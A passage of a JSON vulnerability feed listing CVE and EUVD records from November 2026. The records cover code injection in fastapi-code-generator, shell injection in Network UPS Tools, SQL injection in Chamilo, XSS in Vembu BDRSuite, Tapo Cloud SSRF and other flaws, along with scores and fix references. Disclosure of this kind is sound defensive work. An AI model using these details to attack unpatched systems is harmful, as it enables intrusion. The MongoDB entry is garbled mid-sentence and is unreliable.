1.10.6.","published_time":"2026-11-03T19:51:04","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/franklioxygen/MyTube/security/advisories/GHSA-h5xx-g8fc-crr7","https://github.com/franklioxygen/MyTube/commit/5cfbc22166de64dfb65cb789ef00909dd48783d7","https://github.com/franklioxygen/MyTube/commit/60424529121018cbf0481034a97fca36d3bc5c66","https://github.com/franklioxygen/MyTube/commit/d65913a9319dd840ab2ac77565325cf701306d6d","https://github.com/franklioxygen/MyTube/releases/tag/v1.10.6"],"products":["MyTube"],"vendors":["franklioxygen"]},"ghsa":null},{"cve_id":"CVE-2026-63469","summary":"fastapi-code-generator creates FastAPI applications from OpenAPI files. Prior to 0.8.1, the generator inserts an additional response status-code key into the generated responses={...} route-decorator dictionary as a single-quoted Python string without escaping embedded quotes. A multi-response OpenAPI operation with an attacker-controlled or attacker-influenced second non-primary response key can close the dictionary-key literal and inject a valid Python expression. Syntax-breaking input only causes generation to fail, but syntactically valid generated code executes with the application's or CI process's privileges when the generated module is imported and its decorator arguments are evaluated. This additional-response-key sink is distinct from the project's separate route-path and operation-summary sinks. This issue is fixed in version 0.8.1.","cvss":9.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":9.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/koxudaxi/fastapi-code-generator/commit/49301dbdb82170d7f50877419d994b05cb1fa2bc","https://github.com/koxudaxi/fastapi-code-generator/commit/b3b9bd66e0b0c4d8c686fda700258104615a1332","https://github.com/koxudaxi/fastapi-code-generator/releases/tag/0.8.1","https://github.com/koxudaxi/fastapi-code-generator/security/advisories/GHSA-6xmv-cjr5-w3q8"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:15","euvd":{"id":"EUVD-2026-116146","description":"fastapi-code-generator creates FastAPI applications from OpenAPI files. Prior to 0.8.1, the generator inserts an additional response status-code key into the generated responses={...} route-decorator dictionary as a single-quoted Python string without escaping embedded quotes. A multi-response OpenAPI operation with an attacker-controlled or attacker-influenced second non-primary response key can close the dictionary-key literal and inject a valid Python expression. Syntax-breaking input only causes generation to fail, but syntactically valid generated code executes with the application's or CI process's privileges when the generated module is imported and its decorator arguments are evaluated. This additional-response-key sink is distinct from the project's separate route-path and operation-summary sinks. This issue is fixed in version 0.8.1.","published_time":"2026-11-03T19:15:54","cvss":9.3,"cvss_version":"4.0","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/koxudaxi/fastapi-code-generator/security/advisories/GHSA-6xmv-cjr5-w3q8","https://github.com/koxudaxi/fastapi-code-generator/commit/49301dbdb82170d7f50877419d994b05cb1fa2bc","https://github.com/koxudaxi/fastapi-code-generator/commit/b3b9bd66e0b0c4d8c686fda700258104615a1332","https://github.com/koxudaxi/fastapi-code-generator/releases/tag/0.8.1"],"products":["fastapi-code-generator"],"vendors":["koxudaxi"]},"ghsa":null},{"cve_id":"CVE-2026-63470","summary":"fastapi-code-generator creates FastAPI applications from OpenAPI files. Prior to 0.8.1, the generator inserts Operation.summary into a generated route-handler docstring as a triple-double-quoted string without escaping embedded triple quotes. An attacker-controlled or attacker-influenced operation summary can close the docstring and inject a valid Python expression statement into the handler body. Syntax-breaking input only causes generation to fail, but syntactically valid generated code executes with the server process's privileges when the affected route handler is called. This call-time route-handler docstring sink is distinct from the project's separate import-time route-path and additional-response-key sinks. This issue is fixed in version 0.8.1.","cvss":9.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":9.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/koxudaxi/fastapi-code-generator/commit/49301dbdb82170d7f50877419d994b05cb1fa2bc","https://github.com/koxudaxi/fastapi-code-generator/commit/b3b9bd66e0b0c4d8c686fda700258104615a1332","https://github.com/koxudaxi/fastapi-code-generator/releases/tag/0.8.1","https://github.com/koxudaxi/fastapi-code-generator/security/advisories/GHSA-h667-4jj2-cgv4","https://github.com/koxudaxi/fastapi-code-generator/security/advisories/GHSA-h667-4jj2-cgv4"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:15","euvd":{"id":"EUVD-2026-116145","description":"fastapi-code-generator creates FastAPI applications from OpenAPI files. Prior to 0.8.1, the generator inserts Operation.summary into a generated route-handler docstring as a triple-double-quoted string without escaping embedded triple quotes. An attacker-controlled or attacker-influenced operation summary can close the docstring and inject a valid Python expression statement into the handler body. Syntax-breaking input only causes generation to fail, but syntactically valid generated code executes with the server process's privileges when the affected route handler is called. This call-time route-handler docstring sink is distinct from the project's separate import-time route-path and additional-response-key sinks. This issue is fixed in version 0.8.1.","published_time":"2026-11-03T19:13:47","cvss":9.3,"cvss_version":"4.0","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/koxudaxi/fastapi-code-generator/security/advisories/GHSA-h667-4jj2-cgv4","https://github.com/koxudaxi/fastapi-code-generator/commit/49301dbdb82170d7f50877419d994b05cb1fa2bc","https://github.com/koxudaxi/fastapi-code-generator/commit/b3b9bd66e0b0c4d8c686fda700258104615a1332","https://github.com/koxudaxi/fastapi-code-generator/releases/tag/0.8.1"],"products":["fastapi-code-generator"],"vendors":["koxudaxi"]},"ghsa":null},{"cve_id":"CVE-2026-63471","summary":"fastapi-code-generator creates FastAPI applications from OpenAPI files. Prior to 0.8.1, the generator inserts an OpenAPI path into a generated @app.get(...) route decorator as a single-quoted generated route string without escaping embedded quotes. An attacker-controlled or attacker-influenced OpenAPI path can close the string and inject a valid Python expression into the decorator argument. Syntax-breaking input only causes generation to fail, but syntactically valid generated code executes with the application's or CI process's privileges when the generated module is imported and the decorator is evaluated. This OpenAPI path sink is distinct from the project's separate operation-summary docstring and additional-response-key sinks. This issue is fixed in version 0.8.1.","cvss":9.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":9.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/koxudaxi/fastapi-code-generator/commit/49301dbdb82170d7f50877419d994b05cb1fa2bc","https://github.com/koxudaxi/fastapi-code-generator/commit/b3b9bd66e0b0c4d8c686fda700258104615a1332","https://github.com/koxudaxi/fastapi-code-generator/releases/tag/0.8.1","https://github.com/koxudaxi/fastapi-code-generator/security/advisories/GHSA-p2mm-64f6-gmpp"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:15","euvd":{"id":"EUVD-2026-116147","description":"fastapi-code-generator creates FastAPI applications from OpenAPI files. Prior to 0.8.1, the generator inserts an OpenAPI path into a generated @app.get(...) route decorator as a single-quoted generated route string without escaping embedded quotes. An attacker-controlled or attacker-influenced OpenAPI path can close the string and inject a valid Python expression into the decorator argument. Syntax-breaking input only causes generation to fail, but syntactically valid generated code executes with the application's or CI process's privileges when the generated module is imported and the decorator is evaluated. This OpenAPI path sink is distinct from the project's separate operation-summary docstring and additional-response-key sinks. This issue is fixed in version 0.8.1.","published_time":"2026-11-03T19:18:44","cvss":9.3,"cvss_version":"4.0","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/koxudaxi/fastapi-code-generator/security/advisories/GHSA-p2mm-64f6-gmpp","https://github.com/koxudaxi/fastapi-code-generator/commit/49301dbdb82170d7f50877419d994b05cb1fa2bc","https://github.com/koxudaxi/fastapi-code-generator/commit/b3b9bd66e0b0c4d8c686fda700258104615a1332","https://github.com/koxudaxi/fastapi-code-generator/releases/tag/0.8.1"],"products":["fastapi-code-generator"],"vendors":["koxudaxi"]},"ghsa":null},{"cve_id":"CVE-2026-63475","summary":"isomorphic-git is a pure JavaScript implementation of Git for Node.js and browsers. Prior to 1.38.6, isomorphic-git persists server-supplied circular symref= capabilities through updateRemoteRefs, and GitRefManager.resolve() follows the resulting loose symbolic references without a default depth limit or cycle detection. After a clone from a malicious or man-in-the-middle-controlled remote, operations such as log, status, checkout, and branch that resolve refs/remotes/origin/a or refs/remotes/origin/b do not terminate. The circular references remain on disk, leaving the repository unusable for the application and causing a persistent denial of service. This issue is fixed in version 1.38.6.","cvss":4.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/isomorphic-git/isomorphic-git/commit/823843d1cd19182df79bc907c767f5bcecb39a0b","https://github.com/isomorphic-git/isomorphic-git/pull/2370","https://github.com/isomorphic-git/isomorphic-git/releases/tag/v1.38.6","https://github.com/isomorphic-git/isomorphic-git/security/advisories/GHSA-96wc-2m84-2cj7","https://github.com/isomorphic-git/isomorphic-git/security/advisories/GHSA-96wc-2m84-2cj7"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:15","euvd":{"id":"EUVD-2026-116273","description":"isomorphic-git is a pure JavaScript implementation of Git for Node.js and browsers. Prior to 1.38.6, isomorphic-git persists server-supplied circular symref= capabilities through updateRemoteRefs, and GitRefManager.resolve() follows the resulting loose symbolic references without a default depth limit or cycle detection. After a clone from a malicious or man-in-the-middle-controlled remote, operations such as log, status, checkout, and branch that resolve refs/remotes/origin/a or refs/remotes/origin/b do not terminate. The circular references remain on disk, leaving the repository unusable for the application and causing a persistent denial of service. This issue is fixed in version 1.38.6.","published_time":"2026-11-03T19:45:24","cvss":4.3,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/isomorphic-git/isomorphic-git/security/advisories/GHSA-96wc-2m84-2cj7","https://github.com/isomorphic-git/isomorphic-git/pull/2370","https://github.com/isomorphic-git/isomorphic-git/commit/823843d1cd19182df79bc907c767f5bcecb39a0b","https://github.com/isomorphic-git/isomorphic-git/releases/tag/v1.38.6"],"products":["isomorphic-git"],"vendors":["isomorphic-git"]},"ghsa":null},{"cve_id":"CVE-2026-54161","summary":"Network UPS Tools is a collection of programs which provide a common interface for monitoring and administering UPS, PDU and SCD hardware. From 2.8.3 to 2.8.5, upsmon in clients/upsmon.c inserts the server-supplied ups.alarm value into shell commands executed by notify(), async_notify(), and wall(). When a monitored device reports an ALARM state and an operator has configured NOTIFYCMD with EXEC in NOTIFYFLAG ALARM, shell metacharacters in the alarm text are evaluated on POSIX or Windows and can execute arbitrary operating-system commands as the upsmon account, which is commonly root. An attacker can control the value through a malicious or compromised upsd, a man-in-the-middle on a plaintext upsd to upsmon connection, or a compromised UPS device whose driver supplies the alarm upstream of upsd; TLS between upsd and upsmon does not mitigate the compromised-device path. This vulnerability is fixed in 2.8.6.","cvss":8.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/networkupstools/nut/commit/98e073d4cc31f9c73e2fa0c2677540487d902fe7","https://github.com/networkupstools/nut/commit/dffba911504866695be698bb5ec49eac40d0f66a","https://github.com/networkupstools/nut/commit/ecf98e7542e4ae2b62b211622ee26989274b2220","https://github.com/networkupstools/nut/pull/3499","https://github.com/networkupstools/nut/security/advisories/GHSA-mjgp-j4gm-6qg5","http://www.openwall.com/lists/oss-security/2026/07/01/10"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:14","euvd":{"id":"EUVD-2026-116198","description":"Network UPS Tools is a collection of programs which provide a common interface for monitoring and administering UPS, PDU and SCD hardware. From 2.8.3 to 2.8.5, upsmon in clients/upsmon.c inserts the server-supplied ups.alarm value into shell commands executed by notify(), async_notify(), and wall(). When a monitored device reports an ALARM state and an operator has configured NOTIFYCMD with EXEC in NOTIFYFLAG ALARM, shell metacharacters in the alarm text are evaluated on POSIX or Windows and can execute arbitrary operating-system commands as the upsmon account, which is commonly root. An attacker can control the value through a malicious or compromised upsd, a man-in-the-middle on a plaintext upsd to upsmon connection, or a compromised UPS device whose driver supplies the alarm upstream of upsd; TLS between upsd and upsmon does not mitigate the compromised-device path. This vulnerability is fixed in 2.8.6.","published_time":"2026-11-03T19:57:14","cvss":8.1,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/networkupstools/nut/security/advisories/GHSA-mjgp-j4gm-6qg5","https://github.com/networkupstools/nut/pull/3499","https://github.com/networkupstools/nut/commit/98e073d4cc31f9c73e2fa0c2677540487d902fe7","https://github.com/networkupstools/nut/commit/dffba911504866695be698bb5ec49eac40d0f66a","https://github.com/networkupstools/nut/commit/ecf98e7542e4ae2b62b211622ee26989274b2220"],"products":["nut"],"vendors":["networkupstools"]},"ghsa":null},{"cve_id":"CVE-2026-63395","summary":"isomorphic-git is a pure JavaScript implementation of Git for Node.js and browsers. Prior to 1.38.6, isomorphic-git's git.checkout writes new child paths through symlinked leading directory components without checking them. A malicious repository can first place a directory symlink and later replace the tree state with a child file beneath that path; the usual trigger is a clone followed by a later pull, while a single clone can trigger the issue when a symlink already exists or the consuming application accesses the tree. With Node fs on Linux or macOS, the operating system can resolve the write outside the working tree, permitting arbitrary host file writes and possible code execution. Node fs on Windows usually blocks the symlink plant without additional privilege, and browser or in-memory providers limit impact to their virtual filesystem and are affected only when they implement symlink creation and following. This issue is fixed in version 1.38.6.","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/isomorphic-git/isomorphic-git/commit/823843d1cd19182df79bc907c767f5bcecb39a0b","https://github.com/isomorphic-git/isomorphic-git/pull/2370","https://github.com/isomorphic-git/isomorphic-git/releases/tag/v1.38.6","https://github.com/isomorphic-git/isomorphic-git/security/advisories/GHSA-9qw7-j9xw-fv9c","https://github.com/isomorphic-git/isomorphic-git/security/advisories/GHSA-9qw7-j9xw-fv9c"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:14","euvd":{"id":"EUVD-2026-116274","description":"isomorphic-git is a pure JavaScript implementation of Git for Node.js and browsers. Prior to 1.38.6, isomorphic-git's git.checkout writes new child paths through symlinked leading directory components without checking them. A malicious repository can first place a directory symlink and later replace the tree state with a child file beneath that path; the usual trigger is a clone followed by a later pull, while a single clone can trigger the issue when a symlink already exists or the consuming application accesses the tree. With Node fs on Linux or macOS, the operating system can resolve the write outside the working tree, permitting arbitrary host file writes and possible code execution. Node fs on Windows usually blocks the symlink plant without additional privilege, and browser or in-memory providers limit impact to their virtual filesystem and are affected only when they implement symlink creation and following. This issue is fixed in version 1.38.6.","published_time":"2026-11-03T19:48:11","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/isomorphic-git/isomorphic-git/security/advisories/GHSA-9qw7-j9xw-fv9c","https://github.com/isomorphic-git/isomorphic-git/pull/2370","https://github.com/isomorphic-git/isomorphic-git/commit/823843d1cd19182df79bc907c767f5bcecb39a0b","https://github.com/isomorphic-git/isomorphic-git/releases/tag/v1.38.6"],"products":["isomorphic-git"],"vendors":["isomorphic-git"]},"ghsa":null},{"cve_id":"CVE-2026-121577","summary":"Inefficient Regular Expression Complexity (CWE-1333) in generate_regex() (whatstk/whatsapp/parser.py) in whatstk from 0.2.0 before 0.9.0 allows a party that supplies a chat export to consume the CPU of the process that parses it for an unbounded time, because the function builds the header regular expression by replacing each %x code with its named capture group and leaves every other character of the header format in the pattern unescaped. A header whose date separator is a regular expression metacharacter therefore alters the pattern instead of matching itself: a separator of + quantifies the preceding capture group, giving (?P<day>\\d{1,2})+(?P<month>\\d{1,2})+(?P<year>\\d{2,4}), and a run of digits that cannot complete the header then makes the engine try every way of partitioning that run. Header auto detection is enabled by default and derives the format from the text of the file, so the separator is taken from the export itself and no header format has to be passed by the caller. Separators of (, ) and \\ instead raise re.PatternError, separators of *, | and ? raise TypeError, and separators of ^ and $ raise KeyError, none of which the library catches. This results in the parse of a file of a few hundred bytes consuming CPU without completing, or in an uncaught exception in the calling program.","cvss":6.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/lucasrodes/whatstk/commit/01d66d8","https://github.com/lucasrodes/whatstk/pull/181","https://github.com/lucasrodes/whatstk/releases/tag/v0.9.0","https://secur0.com/en/cna/cve-list/cve-2026-121577-whatstk-header-regex-redos"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:13","euvd":{"id":"EUVD-2026-116196","description":"Inefficient Regular Expression Complexity (CWE-1333) in generate_regex() (whatstk/whatsapp/parser.py) in whatstk from 0.2.0 before 0.9.0 allows a party that supplies a chat export to consume the CPU of the process that parses it for an unbounded time, because the function builds the header regular expression by replacing each %x code with its named capture group and leaves every other character of the header format in the pattern unescaped. A header whose date separator is a regular expression metacharacter therefore alters the pattern instead of matching itself: a separator of + quantifies the preceding capture group, giving (?P<day>\\d{1,2})+(?P<month>\\d{1,2})+(?P<year>\\d{2,4}), and a run of digits that cannot complete the header then makes the engine try every way of partitioning that run. Header auto detection is enabled by default and derives the format from the text of the file, so the separator is taken from the export itself and no header format has to be passed by the caller. Separators of (, ) and \\ instead raise re.PatternError, separators of *, | and ? raise TypeError, and separators of ^ and $ raise KeyError, none of which the library catches. This results in the parse of a file of a few hundred bytes consuming CPU without completing, or in an uncaught exception in the calling program.","published_time":"2026-11-03T19:52:54","cvss":6.7,"cvss_version":"4.0","epss":0.0,"assigner":"Secur0","references":["https://github.com/lucasrodes/whatstk/pull/181","https://github.com/lucasrodes/whatstk/commit/01d66d8","https://github.com/lucasrodes/whatstk/releases/tag/v0.9.0","https://secur0.com/en/cna/cve-list/cve-2026-121577-whatstk-header-regex-redos"],"products":["whatstk"],"vendors":["lucasrodes"]},"ghsa":null},{"cve_id":"CVE-2026-45146","summary":"Chamilo LMS is an open-source learning management system. Prior to 1.11.40 and 2.0.1, an authenticated administrator can call the get_sessions action in /main/inc/ajax/model.ajax.php with _search=true and a crafted JSON filters parameter whose groupOp field contains SQL syntax. Because groupOp is not restricted to the expected AND or OR operators before it is incorporated into query logic, attacker-controlled input is interpreted by the database and enables blind or time-based SQL injection. Successful exploitation can disclose sensitive user, course, session, configuration, password-reset, and administrative data, modify or delete records subject to database privileges, and cause denial of service through expensive delayed queries. This issue is fixed in versions 1.11.40 and 2.0.1.","cvss":7.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.2,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/chamilo/chamilo-lms/commit/4472f3089bbbca1b4713bfd7059907676b80d07f","https://github.com/chamilo/chamilo-lms/commit/7cc961d60ac27eaccd6bcc8db201de2c65adfdf3","https://github.com/chamilo/chamilo-lms/releases/tag/v1.11.40","https://github.com/chamilo/chamilo-lms/releases/tag/v2.0.1","https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-prqp-8x29-cr88"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:13","euvd":{"id":"EUVD-2026-116197","description":"Chamilo LMS is an open-source learning management system. Prior to 1.11.40 and 2.0.1, an authenticated administrator can call the get_sessions action in /main/inc/ajax/model.ajax.php with _search=true and a crafted JSON filters parameter whose groupOp field contains SQL syntax. Because groupOp is not restricted to the expected AND or OR operators before it is incorporated into query logic, attacker-controlled input is interpreted by the database and enables blind or time-based SQL injection. Successful exploitation can disclose sensitive user, course, session, configuration, password-reset, and administrative data, modify or delete records subject to database privileges, and cause denial of service through expensive delayed queries. This issue is fixed in versions 1.11.40 and 2.0.1.","published_time":"2026-11-03T19:54:46","cvss":7.2,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-prqp-8x29-cr88","https://github.com/chamilo/chamilo-lms/commit/4472f3089bbbca1b4713bfd7059907676b80d07f","https://github.com/chamilo/chamilo-lms/commit/7cc961d60ac27eaccd6bcc8db201de2c65adfdf3","https://github.com/chamilo/chamilo-lms/releases/tag/v1.11.40","https://github.com/chamilo/chamilo-lms/releases/tag/v2.0.1"],"products":["chamilo-lms","chamilo-lms"],"vendors":["Chamilo"]},"ghsa":null},{"cve_id":"CVE-2026-120567","summary":"The MongoDB Entity Framework Core provider does not neutralize special elements when it places a caller-supplied value into a bulk update that is expressed as a databasea result, a value supplied as plain data may be interpreted by the database as expression syntax. A part value through normal application input may causeunintended modification of fields in the records the application is updating, and may cause data already held in those records to be relocated into other fields of the same record.","cvss":2.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.4,"cvss_v4":2.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://jira.mongodb.org/browse/EF-478"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:12","euvd":{"id":"EUVD-2026-116267","description":"The MongoDB Entity Framework Core provider does not neutralize special elements when it places a caller-supplied value into a bulk update that is expressed as a databasea result, a value supplied as plain data may be interpreted by the database as expression syntax. A part value through normal application input may causeunintended modification of fields in the records the application is updating, and may cause data already held in those records to be relocated into other fields of the same record.","published_time":"2026-11-03T19:36:46","cvss":2.3,"cvss_version":"4.0","epss":0.0,"assigner":"mongodb","references":["https://jira.mongodb.org/browse/EF-478"],"products":["Entity Framework Core Provider","Entity Framework Core Provider"],"vendors":["MONGODB"]},"ghsa":null},{"cve_id":"CVE-2026-105822","summary":"The Tapo\nCloud MQTT proxy contains a server-side request forgery (SSRF) vulnerability\nbecause it accepts a user-controlled host value without sufficient input\nvalidation. An attacker may exploit this vulnerability to cause the Tapo Cloud\nservice to send requests to an attacker-controlled server.\n\n\n\n\n\n\n\n\n\nSuccessful\nexploitation may cause the Tapo Cloud service to send a request to an\nattacker-controlled server, exposing the internal information and causing\npotential Distributed Denial-of-Service (DDoS).","cvss":8.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.tp-link.com/us/support/faq/5370/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:06","euvd":{"id":"EUVD-2026-116271","description":"The Tapo\nCloud MQTT proxy contains a server-side request forgery (SSRF) vulnerability\nbecause it accepts a user-controlled host value without sufficient input\nvalidation. An attacker may exploit this vulnerability to cause the Tapo Cloud\nservice to send requests to an attacker-controlled server.\n\n\n\n\n\n\n\n\n\nSuccessful\nexploitation may cause the Tapo Cloud service to send a request to an\nattacker-controlled server, exposing the internal information and causing\npotential Distributed Denial-of-Service (DDoS).","published_time":"2026-11-03T19:41:21","cvss":8.3,"cvss_version":"4.0","epss":0.0,"assigner":"TPLink","references":["https://www.tp-link.com/us/support/faq/5370/"],"products":["Tapo Cloud Service"],"vendors":["TP-Link Systems Inc."]},"ghsa":null},{"cve_id":"CVE-2026-110826","summary":"Improper Session Invalidation after Authentication Credential Change vulnerability in team-alembic ash_authentication allows an attacker holding a victim's session token to stay signed in after the victim resets or changes their password.\n\nWith apply_on_password_change? true, AshAuthentication.AddOn.LogOutEverywhere.Transformer adds OnPasswordChange to update actions as a global change guarded by where: changing(hashed_password). That condition is evaluated before the action's before_action hooks run, but AshAuthentication.Strategy.Password.HashPasswordChange sets the new hash in a before_action hook, so for every non-atomic password change the condition is false and the user's stored tokens are not revoked. The generated password reset action and the installer's change_password action are both non-atomic.\n\nThis issue affects ash_authentication: from 4.5.0 before 4.15.1 and from 5.0.0-rc.0 before 5.0.0-rc.16.","cvss":6.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://cna.erlef.org/cves/CVE-2026-110826.html","https://github.com/team-alembic/ash_authentication/commit/0993f944fbd8d668f941d2ca818da4a1d5917641","https://github.com/team-alembic/ash_authentication/commit/2baef4eddeb604569d3564273d03eeef438e002c","https://github.com/team-alembic/ash_authentication/commit/954697f168d55112b5050acddcd936b8bc1fba2b","https://github.com/team-alembic/ash_authentication/security/advisories/GHSA-j6f8-qcj9-gh4r","https://osv.dev/vulnerability/EEF-CVE-2026-110826"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:06","euvd":{"id":"EUVD-2026-116148","description":"Improper Session Invalidation after Authentication Credential Change vulnerability in team-alembic ash_authentication allows an attacker holding a victim's session token to stay signed in after the victim resets or changes their password.\n\nWith apply_on_password_change? true, AshAuthentication.AddOn.LogOutEverywhere.Transformer adds OnPasswordChange to update actions as a global change guarded by where: changing(hashed_password). That condition is evaluated before the action's before_action hooks run, but AshAuthentication.Strategy.Password.HashPasswordChange sets the new hash in a before_action hook, so for every non-atomic password change the condition is false and the user's stored tokens are not revoked. The generated password reset action and the installer's change_password action are both non-atomic.\n\nThis issue affects ash_authentication: from 4.5.0 before 4.15.1 and from 5.0.0-rc.0 before 5.0.0-rc.16.","published_time":"2026-11-03T19:19:26","cvss":6.3,"cvss_version":"4.0","epss":0.0,"assigner":"EEF","references":["https://github.com/team-alembic/ash_authentication/security/advisories/GHSA-j6f8-qcj9-gh4r","https://cna.erlef.org/cves/CVE-2026-110826.html","https://osv.dev/vulnerability/EEF-CVE-2026-110826","https://github.com/team-alembic/ash_authentication/commit/0993f944fbd8d668f941d2ca818da4a1d5917641","https://github.com/team-alembic/ash_authentication/commit/954697f168d55112b5050acddcd936b8bc1fba2b","https://github.com/team-alembic/ash_authentication/commit/2baef4eddeb604569d3564273d03eeef438e002c"],"products":["ash_authentication","ash_authentication","ash_authentication"],"vendors":["team-alembic"]},"ghsa":null},{"cve_id":"CVE-2025-71451","summary":"Vembu BDRSuite before 7.6.0 contains an unauthenticated cross-site scripting vulnerability in templates/progress/serverside/serverbackupprogress.sgp that allows remote attackers to inject arbitrary JavaScript by manipulating request parameters such as ClientName, BackupName, and grpName that are interpolated unsanitized into loadXMLDoc() calls and reflected in AbortBackup() POST requests to dodeleteclientbackup.sgp. Attackers can craft malicious links or requests to execute arbitrary JavaScript in a victim's browser session, enabling session hijacking or interface manipulation.","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.1,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chocapikk.com/posts/2025/bdrsuite/","https://support.bdrshield.com/portal/en/kb/articles/release-notes","https://www.vulncheck.com/advisories/vembu-bdrsuite-xss-via-serverbackupprogress-sgp"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:05","euvd":{"id":"EUVD-2025-211247","description":"Vembu BDRSuite before 7.6.0 contains an unauthenticated cross-site scripting vulnerability in templates/progress/serverside/serverbackupprogress.sgp that allows remote attackers to inject arbitrary JavaScript by manipulating request parameters such as ClientName, BackupName, and grpName that are interpolated unsanitized into loadXMLDoc() calls and reflected in AbortBackup() POST requests to dodeleteclientbackup.sgp. Attackers can craft malicious links or requests to execute arbitrary JavaScript in a victim's browser session, enabling session hijacking or interface manipulation.","published_time":"2026-11-03T19:47:12","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://chocapikk.com/posts/2025/bdrsuite/","https://support.bdrshield.com/portal/en/kb/articles/release-notes","https://www.vulncheck.com/advisories/vembu-bdrsuite-xss-via-serverbackupprogress-sgp"],"products":["BDRSuite"],"vendors":["Vembu Technologies"]},"ghsa":null},{"cve_id":"CVE-2025-71452","summary":"Vembu BDRSuite before 7.6.0 contains an unauthenticated cross-site scripting vulnerability in templates/progress/clientside/restoreprogress.sgp that allows remote attackers to inject arbitrary JavaScript by manipulating request parameters such as mn, rnm, isRepliRestore, rusr, and rpwd that are reflected unsanitized into the HTML response. Attackers can craft malicious links to execute arbitrary JavaScript in a victim's browser session, enabling session hijacking or interface manipulation.","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.1,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chocapikk.com/posts/2025/bdrsuite/","https://support.bdrshield.com/portal/en/kb/articles/release-notes","https://www.vulncheck.com/advisories/vembu-bdrsuite-xss-via-restoreprogress-sgp"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:05","euvd":{"id":"EUVD-2025-211248","description":"Vembu BDRSuite before 7.6.0 contains an unauthenticated cross-site scripting vulnerability in templates/progress/clientside/restoreprogress.sgp that allows remote attackers to inject arbitrary JavaScript by manipulating request parameters such as mn, rnm, isRepliRestore, rusr, and rpwd that are reflected unsanitized into the HTML response. Attackers can craft malicious links to execute arbitrary JavaScript in a victim's browser session, enabling session hijacking or interface manipulation.","published_time":"2026-11-03T19:48:58","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://chocapikk.com/posts/2025/bdrsuite/","https://support.bdrshield.com/portal/en/kb/articles/release-notes","https://www.vulncheck.com/advisories/vembu-bdrsuite-xss-via-restoreprogress-sgp"],"products":["BDRSuite"],"vendors":["Vembu Technologies"]},"ghsa":null},{"cve_id":"CVE-2026-105821","summary":"The Tapo\nCloud MQTT broker contains a broken access control vulnerability in a proxy\ntopic used by authenticated Tapo devices to request service tokens. The broker\ndoes not verify that the device ID supplied in a proxy request belongs to the\nauthenticated device. An attacker who owns a Tapo device and knows another\ndevice's ID may obtain a device token scoped to the target device and use it to\nupload attacker-controlled content to the target user's Tapo Cloud storage. The\ncontent may then be presented in the Tapo app as a legitimate event.\n\n\n\n\n\nSuccessful\nexploitation may allow an attacker to upload attacker-controlled content that\nis presented to a target user as a legitimate Tapo event, retrieve internal\nservice information through crafted proxy requests, or abuse Tapo Cloud\noutbound request capability in activity that could affect 